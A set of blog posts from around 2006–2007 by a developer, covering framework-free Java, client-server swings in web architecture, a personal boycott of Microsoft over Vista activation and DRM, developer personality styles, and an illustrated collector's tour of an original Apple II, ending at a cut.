If you have a small application written by only 1 or 2 developers, I believe it is perfectly acceptable to use native Java API's and nothing else. Don't let the technology snobs tell you that you code is "stone-age" or unmaintainable that way. If anything it's the least abstracted solution and therefore easiest for another developer to follow and debug.

High quality and highly maintainable applications can be written without frameworks. Trust me. They have been for decades.

If your application is medium or large with 3 or more developers, then the payback for using a framework becomes a little greater, for consistency across modules if nothing else. At that point, you can evaluate frameworks to see if you think the time and complexity saved by using the framework outweighs the long learning curve for the team and the design limitations that will be imposed by the framework.

But even then, it's a dicey proposition. Frameworks come and go. They are often soon replaced or orphaned as soon as something newer comes along. And that leaves your code in an unmaintainable state, because it is almost impossible to replace a framework without re-writing your code. And no developer wants to code on old frameworks. If you stick to only standard Java API's, you can be sure of long-term maintainability. Java API's sometimes become deprecated, but they are rarely removed. Java 1.1 code written in 1996 will port fairly easily to a Java 6.0 compiler. Struts 1.x code written in 2006 won't port to jack squat, because Struts 2.0 is not backward compatible.


Wednesday, April 11, 2007

What you know about math?

This is just a geeky video put together by some high school kids. And yet...this song is really catchy! And now I can't get it out of my head. I love the lyrics and the way it's put together!

http://www.glumbert.com/media/knowmath

Wednesday, April 04, 2007

From Client-Server to Server-Client

In the early days of browser technologies, web applications were pretty simple. Very little work was done on the server side, and the HTML generated was pretty static and plain. Most applications had more static content than dynamic content.

These sites were very "server-friendly". The load placed on the server for each request was light, the memory requirements were minimal, and most of the content could be easily cached.

This was a wonderful revolution in technology, because it allowed for thousands of thin-clients to be served from a single modest server. Multiple applications could be accessed from a browser without having to install anything on your desktop. Remember that these were the days when installing and configuring native applications across a wide variety of desktops was very (very very very) difficult and error-prone.

But web applications were easier to manage and easier to scale. This was a retreat from fat-client applications on the desktop, and a return to dumb-terminal technologies that were previously common on mainframes. Only this time the "dumb-terminal" was a little smarter and could do fancier text and graphics.

At the time, many mainframe developers mocked this reversal in technology trends, but we assured ourselves that this time it would be different, and this time we would do it "right". The web was nothing at all like the mainframe...right? At least we don't have the deal with COBOL! (yuk!)

But over the years, web applications have become increasingly sophisticated, stateful, and dynamic. Modern web applications have almost zero static content, and all content is dynamically generated from a series of datasets and translation mappings. The HTML generated for each page is becoming increasingly sophisticated and complex, requiring robust MVC frameworks and heavy-weight server-side page-rendering technologies. A very large percentage of the server load is now spent on processing and generating UI constructs for the user, and less of this content can be cached.

The number of servers required to run sophisticated web applications is growing rapidly, both for performance reasons and application management reasons. Companies have to manage (or outsource) large numbers of servers.

Modern users want web applications that are every bit as feature-rich as fat-client PC applications. But all this "feature-rich" behavior has been generated on the server and managed within the server session. The number of concurrent users that can be supported on a single large server has gone from thousands to hundreds...and in some cases just dozens, even while servers are getting more powerful.

Each "instance" of a user on the server has become every bit as resource intensive as a full-blown fat-client PC application. And supporting 1000 concurrent users on a server becomes the equivalent of supporting 1000 concurrent instances of Microsoft Word on the server. (It kills the server.)

I don't think this is a trend that has been widely identified in our industry. Instead, we keep developing heavier server-side frameworks, with the assumption that somehow Moore's law will take care of this. My experience has been that Moore's law is not fixing the situation, because this is not just an issue of raw performance. This is also an issue of the complexity that comes from mis-matched technologies. HTTP and HTML were never meant to be rich-client technologies. It is only through a series of kludges that we have made them so. Managing a rich object-oriented GUI across a flat stateless protocol is a nightmare that no framework can completely address. This problem is compounded by the fact that the disconnect between the browser and the server allows a user to navigate the application in a non-linear fashion using bookmarks and the infamous "back" and "refresh" buttons. Session states can easily get scrambled or unintentionally shared across multiple separate browser windows. It's a mess.

But along comes Web 2.0, and everything changes. I know that the terms "Web 2.0" and "AJAX" are vague and way over-hyped. However, the basic concept of putting major application functionality onto the browser (instead of the server) is a good one. My definition of "Web 2.0" is anything that takes the browser beyond static HTML to provide a full application experience in the browser.

I believe one of the major factors pushing "Web 2.0" technologies is a great desire to get back to a simple fat-client model of application development. Most developers might not even realize (or be too young to realize) that modern Web 2.0 technologies are looking a lot like Client-Server and/or N-tier technologies of the 90's. (A Web 2.0 "Mash Up" is the exact same concept as Windows OLE technologies from 1996. Think about it.) This trend is generating an explosion of feature-rich web applications. Web 2.0 technologies address many of the problems of modern web application development that come from managing a GUI across a disconnected protocol. The GUI runs entirely from the client where the program can control (or at least be aware of) user actions and non-linear navigation. Multiple open windows are no problem, and neither is load balancing or server failover. The servers can return to a true stateless architecture, which allows for much greater reliability, scalability and managability. Much of the HTML generation and processing is done on the client, in their browser, rather than on the server. User interaction can be handled immediately on the screen without a round-trip to the server and back. This greatly reduces load on the server, and on the network.

Modern web users demand powerful and dynamic user interfaces. Period. (Thanks a lot Google.) And pushing that kind of GUI processing to the server suffers from too many complications, bottlenecks and constraints. Server-based GUI applications only worked in the early days of the Web because the GUI features that were available were so limited...and a browser really was just a really fancy dumb-terminal.

I'm seeing many new applications being developed with AJAX and Flex (and sometimes even Java Applets) where the entire application runs from the browser. The application only calls out to servers for business services. This is classic old-school Client/Server and N-tier technology...only instead of powerful structured languages like C++, Java, and Visual Basic (ick), we have unstructured sloppy JavaScript. We have JavaScript because that is the only technology that all browsers support. (Thanks Microsoft.) But there are major efforts underway to improve the situation through better JavaScript tools, and lightweight plugin technologies based on Flash. And this model might even extend to your desktop applications with new projects like Adobe Apollo.

This *must* be the direction that the web moves in, because what we must have in order to create the quality applications of the future.

Maybe the browser could could even *be* your desktop, and you would have a web page with icons for launching all your fat-client Web Applications. We'll be back to where we started in the early 90's. Except this time we will hopefully have learned our lessons, and we will take standards and cross-platform support more seriously. I don't mind going back to the early 90's so long as we do it right this time and use universal sandbox technologies (standards-based browsers, virtual machines, cross-platform plugins, etc.) that allow any application to run on on any platform. This will prevent (or greatly reduce) the installation nightmares of native applications that drove us to thin-clients in the first place.

I fully support what these technologies are trying to do. I just hope they don't drown themselves in marketing hype and JavaScript in the process. JavaScript will only take us so far. And, in fact, JavaScript is already hitting it's limit. We've pushed that technology as far as it can go, and we are now dependent on the widespread adoption of plugin-technologies such as Flash and Java. The use of plugin-technologies is definitely a stumbling block, but it is necessary because of Microsoft's legendary hostility toward any standards-based technologies that would put other browsers on an equal footing with IE.

Overall, we are making some good progress in the art of developing Web Applications, with or without Microsoft's help. And that's a good thing. I just find it interesting to look back on where we've been, and how application logic has swung back and forth between client and server. Each time it swings for a valid reason, and yet it always seems a shame that we can't settle on one model of application development. Maybe we never will. :)

Friday, February 23, 2007

A turning point for Microsoft

I am not an Open Source evangelist. I like Open Source technologies, but I also understand the advantages of proprietary solutions.

As much as I want to see Linux and Open Office succeed, at the end of the day I’m still a pragmatist. I will always go with what works best, and many of the tasks I perform on a regular basis work best under Windows. I could perform these same tasks under Linux if I had to, but it would require more time and effort on my part.

One of my favorite quotes is: “Linux is free…if your time isn’t worth anything to you.”

So, like it or not, my primary “fun” computer at home is a Windows machine. I do have other Linux machines (and a Mac) that I use for servers and much of my development work, but for surfing and playing and general computing, I still use Windows.

I don’t much like Microsoft or their attitudes toward consumers. But I have mostly stayed out of the religious wars, figuring the impracticality of making my life difficult by trying to resist overwhelming trends.

I’ve been content just going with the flow…until now. With the release of Vista, Microsoft has embarked on a course that, as a consumer, I can no longer accept. I’ve thought about this for several months now, so this is not a decision made rashly.

Using a monopoly to impose your will on your competition is bad enough (and illegal), but using a monopoly to impose your will on the consumers is cause for boycott.

The first and most obvious problem with Vista is the price. With Vista, Microsoft has increased the price of their OS to rougly $200 for a basic version, and $400 for the good version. This is an era when computers are becoming cheaper and more widely available. Consumers and people all over the world benefit from this. A well-powered desktop machine can be had for $500 these days, and the "One Laptop Per Child" association is working to develop $100 laptop computers to help educate the world's children. In the midst of this wave of inexpensive technology, Microsoft dares to keep rasing prices for the basic operating system. If this were a free market, computer makers and consumers would just abandon Microsoft for cheaper alternatives. But it isn't a free market, because Microsoft has a monopoly and we are painfully locked into to their platform.

We pay higher and higher prices for Microsoft Software, while Microsoft enjoys some of the highest profit margins of any company on earth. Attempts have been made to put legal limits on what Microsoft can do, but they have failed in the U.S. (Thanks largely to John Ashcroft.) So our only choice is to join and support the grass-roots efforts of the Open Source community.

Microsoft (with much assistance from other corporate copyright holders) has undertaken the task of ensuring license compliance through aggressive consumer control. They have adopted the philosophy that they have the right to control how people user their computers.

Microsoft believes that this is the best way to ensure that they get every penny they are legally due under the terms of their software license agreements (that nobody reads).

But I see no precedent in our society for subjugating individual property rights for the sake of guaranteeing corporate remuneration (unless, of course, someone has actually stolen from a company). But just because a few people steal from Wal-Mart does not give Wal-Mart the right to invasively monitor every household that has ever purchased goods from Wal-Mart. There would be public outcry if Wal-Mart tried that. And yet that is exactly what Microsoft is doing, only it is hidden and unnoticed by the general public.

The first noticeable instance of their far-reaching software control policy was their infamous “activation process” that Microsoft used in Windows XP.

Microsoft introduced technology that tied their OS to a specific physical computer, such that both the software and the hardware had to be registered with Microsoft. Any “significant changes” (as arbitrarily defined by Microsoft) to the hardware was considered to be an untrustworthy action by the user that required the user to call Microsoft and answer some questions. If the user had a justifiable reason (as arbitrarily defined by Microsoft) for modifying their own hardware, then Microsoft would issue them another activation code so they could continue to use their computer.

When Microsoft introduced their activation process, there was much outcry among the technical community. But Microsoft calmed the masses with assurances that the re-activation process would be quick and easy, and the questioning would be very light and friendly. Microsoft promised to grant new activation codes in most cases.

I’m not even going to enumerate the many historical examples of the incremental erosion of personal rights couched in assurances that “It’s needed for security. And besides, most of you won’t even notice.”

If you think I’m being too dramatic in comparing Microsoft to a reactionary government, I’ll remind you that Microsoft has several major interlocking monopolies that give them significant control over your lives, both at work and at home. And Microsoft is certainly not a democracy.

Well, it turns out the activation process for Windows XP was a legal foothold which Microsoft has continued to expand with Vista. In the fuzzy and borderless world of digital media and digital computing, Microsoft was allowed to extend their legal control beyond the boundaries of the software they created.

We are entering an era where the government has granted broad rights over all digital content to the legal “owners” of that content. And this is directly at odds with the nature of the digital revolution which thrives on widespread access and easy manipulation of data.

Granting sweeping rights that control all manipulation of digital information was probably a big mistake. DRM (Digital Rights Management) technologies are an even bigger mistake. But Microsoft is compounding this problem by choosing to use its position to be the enforcer of these laws. And like a vigilante, they are answerable to no one, and are not bound by personal rights to property and privacy. Concepts of “property” and “privacy” become complicated and blurry and difficult to legislate in the realm of digital media.

I have witnessed this trend progress incrementally from year to year since the 2000. If it isn’t stopped, it will reshape the very nature of technology and free exchange of information for decades to come.

With Vista, Micrsoft has incrementally further restricted their activation process, so that a larger number of users will be denied new activation codes if significant hardware changes are made. With Vista, you are only allowed to replace or "significantly upgrade" your computer once. After that, you have to buy another copy of Vista.

Microsoft has also increased their control over the hardware in your computer by only supporting media devices (video cards and sound cards) that can enforce the new Digital Rights Management schemes that ensure copyright owners control over how you use their media. They ensure their control to their media by never letting you “have” the media. Rather, the media is stored in a digital “cage” of encryption, and you are granted visitation rights to the media at the discretion of the corporate owners. You are not allowed to take the media out of the cage, and those people who have found or created keys to the cage are pursued to the ends of the earth by law enforcment.

Of course, creating a key in the privacy of your own home is hard to detect, so Microsoft has decided to support technologies that give the copyright holders significant control over how you use your computer. These technologies inconvenience and punish the legitimate users. People who have never stolen a song in their life will still have to pay extra money and lose control over their computer.

Technology is supposed to give us more freedom, not more monitoring. I disagree with Microsoft’s decisions and business practices on the most fundamental levels, and I can no longer support them.

I am currently boycotting all Microsoft products, and I will dedicate time to find alternatives to the things I need for the Macintosh or for Linux. If you have strong feelings about the potential dangers of the direction the computing industry is heading, then I encourage you to do the same.

For those of you who do not have strong feelings, I can understand the desire to stay on Windows. I know we all have to pick and choose the causes we wish to support, and I know the underpinnings of Operating Systems is not a popular cause for most people. There are other problems in the world that loom larger than this. But this happens to be my field and my specialty, and I feel it is my responsibility as a practitioner to take a stand and do my part to shape the future of this profession.

Several good alternatives to Windows and Microsoft Office are starting to take shape with Linux, Google Apps, Open Office, Mac OS/X, Think Free, etc. I will do my best to support these efforts and to bring them to the general public.

Sunday, November 26, 2006

Software Development is Personal

I’ve met developers who are command-line wizards. They prefer to use typed commands and scripts for all their work. Some even do much of their coding in “vi”, because they feel that graphical IDE’s get in their way.

I’ve also met developers who are strongly visually-oriented, and prefer to use rich GUI interfaces for everything. Some even do much of their code using UML tools that take diagrams and generate classes from them.

And these two types of developers represent the two extremes of a broad spectrum of developer styles and preferences that are personal. I’ve met brilliant and effective software developers all along this spectrum.

I don’t think there is sufficient recognition of the human factor in software development. Techniques, tools, and methodologies that work well for some developers are often awkward and unnatural for other developers.

I see way too many proponents of some technologies or methodologies who say “Once you use XYZ, you won’t go back!” Obviously XYZ was a natural personal fit for these evangelists. And if other developers don’t instantly fall in love with XYZ, then the standard answer is “You just don't get it yet. Keep using it. You’ll get better at it with practice!”

Yes, of course any developer will get better at anything with practice. But what is not recognized is that technology XYZ might be fundamentally at odds with an individual personality, and at odds with the way that person internally structures and processes information.

A given developer might be more productive with technology “ABC” instead of “XYZ”, even if ABC is viewed as inferior by a plurality of members of the developer community. And yet, in our industry, there is much pressure to standardize and “keep up” with the latest trends. Developers who don’t use technology XYZ can feel embarrassed or fear that they don’t “get it”. They don’t dare openly admit that technology XYZ doesn’t seem right to them.

For example: Test Driven Development. I know many developers who tried TDD, and it was a perfect fit for their development style, and for their personality. They LOVED it, and they can't imagine doing ANY coding without it. Then there are other developers who try TDD, and find it doesn't pay off for them, and gives them two points of maintenance for every function point. And it's just not a natural fit for their personality to code "test-down" instead of "code-up". The truth is probably somewhere in the middle...that TDD is good for some types of objects in some types of situations.

And yet, TDD has become a major source of contention is the development world. The people who enjoy TDD are over-using it. The people who hate TDD are under-using it. And all manner of arguments and conflict ensues.

Human beings learn and think and process their knowledge in a wide variety of ways. Some learn best by listening, some learn best by seeing, some learn best by doing. Some people are extroverted, some are introverted. Some people need details, some people need the big picture. And so on and so on. The variety of ways in which different people think and learn makes it really difficult to make abstracted technologies or methodologies that are a good fit for everyone.

But then, how do we create an effective team of developers unless we standardize on a specific methodology and a specific set of technologies? How can you use TDD when both sides are insisting an "all-or-nothing" approach? It is difficult. I don’t have any magic answers, other than we should be aware of this phenomenon, and be sensitive to it. Assign developers to those tasks which are the best fit for their personality. Try to keep team standards at the lower levels, at the code level, where they are most important.

I’ve worked on teams where developers use different IDE’s and different Operating Systems, each tuned to their own preferences. And that does seem to work very well, especially in the Java and Open Source worlds where everything is cross-platform and follows a set of low-level standards.

But at any level where a team has to function as a single unit, there must be standardization. For example: All developers on the team must follow one project methodology. So, if your team wants to use XP (eXtreme Programming), and you’ve tried XP and it just doesn’t fit your personality, then stick it out for a while and hope they change their mind or hope you find a way to make XP work for you. But failing that, you might then try to find other projects and companies that don’t use XP. If XP becomes so popular that every company uses it for every project, then you might need to consider getting a job in another branch of technology.

But I doubt that will happen. Companies themselves have personalities too, and XP is definitely at odds with some corporate personalities. So the best thing is to find a company that has an overall personality that fits your own preferred working style. If you enjoy documentation and rigid procedures…then go work for an insurance company. =)

Finding a personality match with a company will make you most effective as a developer and bring you the highest degree of job satisfaction. And if a given project decides to use some specific technology that you find awkward, like Tapestry or EJB2 or whatever, you won’t have as much of a problem adapting to that technology for the sake of the team.

As developers, we have all gotten used to being effective and productive with sub-optimal technologies. =)

Tuesday, September 26, 2006

The Cutting-Edge of Yesteryear

Today I'd like to talk a little about the Apple II computer.

"Huh...what? Am I on the wrong blog?"

No, I'm just taking a moment to put aside all my modern high-tech technologies to take a walk down memory-lane, to where all this stuff began. My first computer was an Apple II+ in 1979, near the beginning of the personal computer revolution.

I still collect, repair, and program old computers (mostly Apple II's), and I find it fascinating at times to look back and remember this stuff, and see how far we've come. Often times I am amazed at the progress of modern technology, but other times I am amazed of just how capable these old machines were and what they were able to accomplish with such limited resources!



This is an Apple II computer. And not just any Apple II computer, but one of the very first of the first. A true “II“ (2) computer, not a II+ or IIe or IIc or any of the later models.

(Note: All pictures in this article can be enlarged by clicking on them.)

The Apple II was not the very first personal computer, but it was the first good mainstream computer that a middle-class family could buy and use in their home. It was sold fully functional with no assembly required. (Unlike the Apple 1 and Altair).

As with Ford’s Model-T car, it wasn’t the first of its kind, but it was the first that attained mass-market popularity and longevity. The Apple II computer line ran from June 5, 1977 through October 15, 1993. For all 16 years of these years, the fundamental architecture, firmware, CPU, and style of the Apple II computer remained virtually unchanged. As recent as 1993, Apple was still selling 1 MHz CPU Apple IIe computers. They had become such a fixture of the computing landscape that these machines still had their uses and loyal fans, even as 33mhz “Wintel” computers were becoming common.

In a world governed by Moore’s Law, where computing power doubles every 18 months, one architecture lasting 16 years is truly phenomenal.

By the early 1980’s, the Apple II had competition from many brands of newer and cheaper computers, most notably the popular Commodore-64. But the Apple II (in my humble opinion) was the overall best of its day. And Apple is the only computer maker of that era that is still in business today and is still making their own unique brand of computers. Even IBM doesn’t make personal computers anymore.

I'm not telling you anything about the history of computers that you can't find on Wikipedia or any number of historical computer references. But I do notice these resources are missing some of the finer details of the construction of the early Apple II computers...the kinds of details that collectors of old computers would find important.

Most Apple fans will remember the height of the Apple II line, when the Apple IIe and Apple IIgs computers had become common-place in schools and homes. But few Apple fans have seen the beginning of the Apple II line.

So here is my nickel tour of how it started, complete with pictures!



This is the original Apple II computer as it was sold. The name-plate on the computer just says "Apple ][". Most people now use the spelling "Apple II" instead of "Apple ][" because bracket characters are notorious for causing problems in search engines and eBay.

Over 99% (I'm not exaggerating) of the Apple II computers you’ll find for sale on eBay have the word “plus” in green letters on this name plate. That indicates it’s a newer Apple II+ computer made in or after 1979. An original non-plus Apple II is especially rare, as relatively few were made.



I have many old Apple computers, but this the only one I have that is an original Apple II "Revision-0" (zero) model. It is serial #369, made in late June of 1977, one of the very first Apple II's ever sold. I bought this computer from its original owner. (But that’s another story.) This is a picture of the serial-number sticker on the bottom of the computer. Note the words "MADE IN U.S.A.".

Apple II+ computers generally have a green sticker on the bottom, and the model number is "A2S2" instead of "A2S1".


Here is the inside of the Apple II computer. One of the things that made the Apple II such a cool computer was that you had easy access to the insides for upgrades or other modifications. The case just popped open without having to unscrew anything. It was a natural hacker’s box. There are 8 slots for add-on cards, and every chip is socketed. One of the reasons I like collecting and working on these old Apples is the ease with which I can repair them.




These are rows of 16K RAM chips for the Apple II. Each row is 16K (kilobytes) worth of 18K (carat) gold. This is back in the day when RAM was so expensive it could afford to be flashy, and gold really does make the best conductor for electronic circuits. But you sure don’t see much gold circuitry in computers these days. Modern computers are too cheap for that!

Late-model Apple II computers (1979-1982) generally have black ceramic or (ugh) plastic memory chips with aluminum or steel pins.




The Apple II came with 8 slots for add-on cards. These connected your peripheral cards right into the system bus, and made the Apple II the most expandable and flexible computer on the market. Note the use of gold contacts.

But what’s even rarer than gold contacts are the light-green slots (connectors) that house them. Apple II computers generally had DARK-green slots. Later Apple II+ computers had black slots. But when Steve Wozniak started making the first Apple II computers, he got a special deal from Hewlett Packard on a batch of light-green connectors. These connectors were only used for the first production run and were soon replaced with the dark green connectors.




Here is the heart of the computer: The famous 6502 CPU. (The long black chip in the middle that is laying sideways.)

Right below the CPU are ROM chips. The early Apple II computers only came with 4 ROM chips, even though the Motherboard had sockets for 6 ROM chips. The remaining 2 sockets were left empty for user upgrades. And this particular Apple II has a ROM upgrade (far right ROM with a white stamp on it) that allows it to display extra video modes.

Each ROM had 2K of data, and mapped into the upper 16K address space of the Apple II. This left the lower 48K of the address space available for user programs. The 6502 processor only had a 16-bit address bus, so it could only access a maximum of 64K of memory. But memory was so expensive that most Apple’s were sold with only 16K. This particular early Apple II of mine was sold with 16K, and was later upgraded to 32K, and then later upgraded to 48K and finally a full 64K. (I can tell this by the types of RAM chips in this computer.)

This old Apple II has a very primitive set of ROMs, containing a small version of BASIC (written by Bill Gates and Marc McDonald), and a mini-Assembler (written by Steve Wozniak).

Later Apple II computers came with a full set of 6 ROMs, stuffed with a better version of BASIC, and also the Auto-Start ROM. The Auto-Start was a ROM that would actually boot your disk drive and load the operating system when you turned the computer on. What a concept!

Before the Auto-Start ROM, the Apple II just gave you a cursor (at best) when you turned it on. You had to manually enter commands to engage the disk-drive (or more likely read the tape-drive) to load something.

If you see an Apple II computer for sale on eBay that has all 6 AppleSoft ROMs, beware that this is most likely an upgraded Apple II and not an original. Most Apple II users had their ROMs upgraded to the new AppleSoft ROMs when they became available. This made them effectively an Apple II+ computer in an Apple II case, and unfortunately that decreases its value to collectors. Any Apple II computer that still has the original 4 Integer BASIC ROMs is especially rare.




This is the motherboard serial number (#623). There were hundreds of early prototype and test motherboards before production began. Apple would write the serial number in this little white box because they really didn’t think they’d ever make more than a few thousand of these things, and so room for 3 or 4 digits seemed plenty for a serial number. (The serial number on the bottom of the case was also only set for 4 digits.)

Later, Apple started writing the Julian “year/week” date in this white box. In most Apple II computers, you will see a 4-digit number like “7904” which means the 79th year and 4th week. (Late January of 1979) This is a pretty standard way of labeling dates on chips. You can see this Julian date in the close-ups of all the chips on this computer.

If you see a computer on eBay claiming to be an original Apple II, but it has a motherboard date of 8124 (the 24th week of 1981) then you are not getting a complete original. That motherboard was replaced at some point in that machine's history.




The early Apple II computers had “Memory Select” jumpers. This allowed you to select either 4k or 16k RAM chips in your computer. 16K chips were considered prohibitively expensive in those days. And with 3 rows of 4K chips, you could still have a computer with a full 12K of RAM, which was enough memory for the time.

When collecting old Apple II computers, the Memory Select chips are something to look for, because they indicate an early-model computer. I snagged a really nice Apple II off eBay for a good price because I happened to magnify the picture that the seller provided, and I was able to see the edge of the Memory Select chips. The seller didn't know what a rarity he had!




This is a regular keyboard encoder which is very common in the Apple II and II+ computers made from 1979 onward.




This is the keyboard encoder that is on this old Apple II computer. It's not at all like the one above, and I wish I knew more about it. For now, it's just a thing of fascination for me. Every time I see it, I just say "huh!" and I want to take it apart to see how it works, but it's the only one I have. It appears to be roughly the same circuit design, only with a different layout and more primitive parts. And it's built right into the keyboard instead of being a separate board attached by that goofy extra-long pin connector that I'm used to seeing.





This is a close-up of the Apple II keyboard. Note the old-school location of the quote, apostrophe, and parenthesis keys. The parenthesis keys are on 8 and 9 instead of 9 and 0.

Also note there are two shift keys, but those are only for the special symbols. This computer had no concept of lower-case letters whatsoever. (And hence no caps-lock either).

This computer also had no concept of “up” or “down” arrow keys. These were the days before full-screen word processors. Everything was done by line-editing, and so only left and right were needed. Also there is no Alt key, no Delete key, no Function keys, no Tab key, no underline...and oh ya...no mouse! But there is a “Repeat” (REPT) key that you would press if you wanted a key to repeat multiple times.

There is a “Control” key and an “Escape” key...and that was pretty cutting-edge for the day. Also notice there is a “BELL” key that is activated by typing “Control-G”. That’s another hold-over from old typewriters and teletype machines that actually did have a little metal bell in them! :)

On this computer, the RESET key is in the top-right corner, and pressing this key triggers a hard reset of the whole computer, which stops the CPU and dumps all memory. I’ve already accidentally erased a few of my sample programs on this machine by reaching for the “=” key and hitting RESET by accident.

Later Apple II computers made the RESET key harder to reach, harder to press, and required that you hit the CONTROL and RESET keys together...sort of a forerunner to the famous “Control-Alt-Delete”.

Of course, on modern computers, they’ve taken the Control-Alt-Delete away from us, because even THAT is now considered "too dangerous". Control-Alt-Delete is now just a fancy way of launching the Windows Task Manager. The day will come when they take the power button away too, so that only the OS can shut the computer down. Mark my words! :)

Another rarity you’ll see on this computer is the raised “POWER” light in the bottom left corner. That's another indicator of an early model Apple. It looks just like another key on the keyboard, except it's white. Naturally, users would hit this button thinking that it was the power button, but it’s just a light. It doesn’t move. If you try to press it hard you’ll probably break it. So Wozniak made a change in future Apple computers to make the power light level (flush) with the case so that it didn’t look like a button.




This is the underside of an Apple II keyboard. Understanding the mechanics and circuit of the keyboard is important to any Apple II collector. The keys on the keyboard are moving parts, and thus they can wear out with time and have to be repaired or replaced. The older Apple II keyboards (like the one in the picture above) are the best, because they are made of key switches that are individually soldered. So if a key goes bad or breaks, it's a simple matter to desolder the faulty key switch and replace it with another. (I keep tons of spare key switches from junked Apple II's I've bought off eBay.)

This is the underside of the keyboard from a late-model Apple II+. The blue area is the keyboard, and the little green board on top is the encoder. As you can see, there are no solder points for the keys. The whole keyboard was manufactured as a single unit (to save money). And these kinds of keyboards are FAR more difficult and impractical to repair. If any key breaks you pretty much have to replace the whole keyboard. And since replacement keyboards can't be purchased these days, you usually have no choice but to throw the whole computer away, or salvage the motherboard chips and power supply for parts.

Whenever I examine an old Apple II computer, I always open the lid and feel under the keyboard to see if I feel solder points. If there are solder points, I know I can repair the keyboard if any keys are bad. If I'm buying a computer off eBay, it's hard to tell what kind of keyboard it has. Sellers never think to try and take a picture of the underside of the keyboard. However, if the seller has given a good clear picture of they keys on the keyboard, I can often tell if it's an old keyboard. The older Apple II keyboards have shinier (glossy) keys. Newer keyboards tend to be made of a slightly more textured plastic with slightly less concave key-tops. It's a very subtle difference, but you can sometimes see it in the way the shiny concave key-tops capture the camera flash. The older keyboards reflect a nice sharp white sphere of light. (I had to dim my flash and come in at an angle to take that non-reflective picture of my keyboard shown earlier.)



Here is a keyboard that I salvaged from an old and very broken Apple II+. I've removed all the key caps and I keep those for spares. This is the good kind of keyboard that has soldered key switches. And as you can see from this picture, I've already removed several of them to use to repair keys on other computers. I'm holding one of the key switches in my hand. Each key switch has two solder points that you can desolder with a soldering gun and a desolder tool. (See your local Radio Shack.) And once you've removed a broken key switch, you can just plug in another one, and re-solder the two connections.

Generally, I wouldn't recommend getting near a computer with a soldering gun unless you've had a lot of practice, because soldering delicate circuits takes a lot of skill. However, key switches are a little less sensitive to heat and static than IC chips, and you have more room to work because the pins are far apart. So even with only moderate soldering skills, you should be able to safely replace a key switch. Just make sure you don't buy a soldering gun with more than 40 watts of power, and try not to keep the tip on the soldering joint for more than 4 seconds. Even though the key switch could withstand longer durations of heat, the etching board can't. So you still have to be a little careful. Try to get a soldering gun with a grounded tip as well. Static discharge might not hurt the key switch, but it could still travel into the keyboard encoder and zap something there.

Also make sure you get a good multi-meter, so you can check the circuit when you press and release the key, to make sure the problem really is in the key, and to make sure your replacement key switch will work.





For all you Apple computer collectors out there, it's important to know what kind of Apple II motherboard computer you have. Above are three pictures side-by-side. Each picture is a close-up of the upper right-hand corner of a different variety of Apple II motherboard.

The picture on the left is the original Apple II Revision-0 motherboard. The very first.

The picture in the middle is a later Revision-1 motherboard for the Apple II. Note the small white box with a single video-signal pin, just right of center in the picture. Also note the dark-green slots that still have gold contacts.

The picture on the right is represents a late-model Apple II motherboard, Revision 2 or later. (1979 or later). The single video pin has been replaced with a two-pin connector. Also note the slots are black and the connectors are made of steel (and are rusting if you click on the close-up). If you have this kind of motherboard, you probably have a common Apple II+. But there was a transition period in 1979 when Apple produced the Apple II and Apple II+ at the same time, and used the same motherboards for both. The only difference was in the ROM set. So there are a few Apple II's floating around out there that have relatively late-model motherboards.

Also, if the Game Connector socket (bottom right of each picture) is white, then you definitely have a late-model Apple II+.

After 1982, Apple stopped production of all of the Apple II and II+ Motherboards, and started producing the Apple IIe motherboards. The Apple IIe motherboard used the same general architecture as the Apple II motherboards, but advances in chip technology allowed Apple to achieve the same design with far fewer chips and fewer parts, thus allowing them to be manufactured more cheaply, which was crucial for competing with the rock-bottom priced Commodore-64.

Apple IIe motherboards also have more chips that are soldered down instead of socketed...which makes them far more difficult to repair. :(




The very earliest Apple II computers (like this one) used tape-drives instead of disk drives. Disk Drive technology for the Apple II was pretty expensive and awkward until Apple made the "Disk II" system in 1978. Early software for the Apple II (like this copy of Microsoft BASIC) was most often distributed on cassette tapes.

By 1980, Disk Drives were so inexpensive that using a cassette player to load and save programs on an Apple II became rare. And yet the Apple IIe continued to support cassette input-output ports to the end of it's days in 1993.


This badly-faded tape is a copy of "16K STARTREK". You can't underestimate the effect of Star Trek on the computer industry. :)



This is the Apple II Disk Drive, a 140K, single-sided, 5.25" floppy drive. It used a drive controller that Steve Wozniak designed himself, and it was genius for the day. Unlike other Disk Drive systems on the market, Wozniak strived for simplicity, and created a Disk system that was largely controlled through software (and some firmware) instead of hardware.

This design lead to a drive that as inexpensive, rugged, easy to repair, and didn't require a separate power supply. The fact that the low-level I/O routines were implemented in software rather than hardware also allowed for the creation of some very clever customizations to the OS, including writing data between tracks (half-tracks), and custom encoding schemes for security.


This is the inside of the Apple II Disk Drive. It's just a drive motor, a stepper motor, minimal circuitry, and a read/write head. The read/write head is the tiny black square in the white circle in the middle. With a metal case and metal frame with metal parts, this disk drive is way overkill in its ruggedness. We used to refer to them as "Tonka Drives" or "Fisher-Price Drives" back in the day, because they were so tough that even a kid couldn't damage them.




Any long-time Apple II fans will recognize the little gold screw in the bottom right-hand corner. That's the potentiometer that controls the speed of the drive motor, and once every few years you have to adjust it if you drive starts running too slow or too fast.

If you keep the drive speed adjusted, and keep the drive heads clean (with cleaning solution), and maybe replace the rubber drive belt (with a rubber band if necessary) once a decade, you can keep these drives running forever.




This is the ever-popular 16K expansion card for the Apple II. A regular Apple ][ has a maximum of 48k of RAM, because the upper 16K is reserved for the ROM. However, Apple invented a 16K expansion card that could "shadow" the upper 16K of memory. By using bank-switching, you could have the computer either access the ROM, or this 16K bank of RAM. This 16K card was commonly called a "Language" card, because a common practice was to use it to hold other programming languages (besides the BASIC built into the ROMs). This was back when most programming languages could easily fit in 16K. Can you imagine?




There were several models and flavors of the original Apple II computers, but this flavor is truly striking. This is the Bell & Howell version of the Apple II computer, also known as the "Darth Vader" Computer. It's absolutely beautiful! Apple should have made more black computers.

Apple made these black computers for the Bell & Howell so that they could be used in schools. Bell & Howell supplied audio/visual equipment (which was all black) to many major school systems. But shortly after Bell & Howell sold some of these Apple computers, Apple managed to win a few school contracts on their own, and pretty soon Apple no longer needed Bell & Howell. So the "Darth Vader" is a pretty rare and short-lived computer. Only a few thousand were ever made. Too bad!

Operating the APPLE II


When you turn on this early Apple II computer, this is what you get; a screen full of question marks and an asterisk for a cursor. Yes, that IS how it's supposed to work.

When the compter is turned on, the text buffers default to 11111111. (All 1's) And this is displayed as a question mark on the Apple ][.

[Thanks to user "mmphosis" for the following information which I'm quoting:]

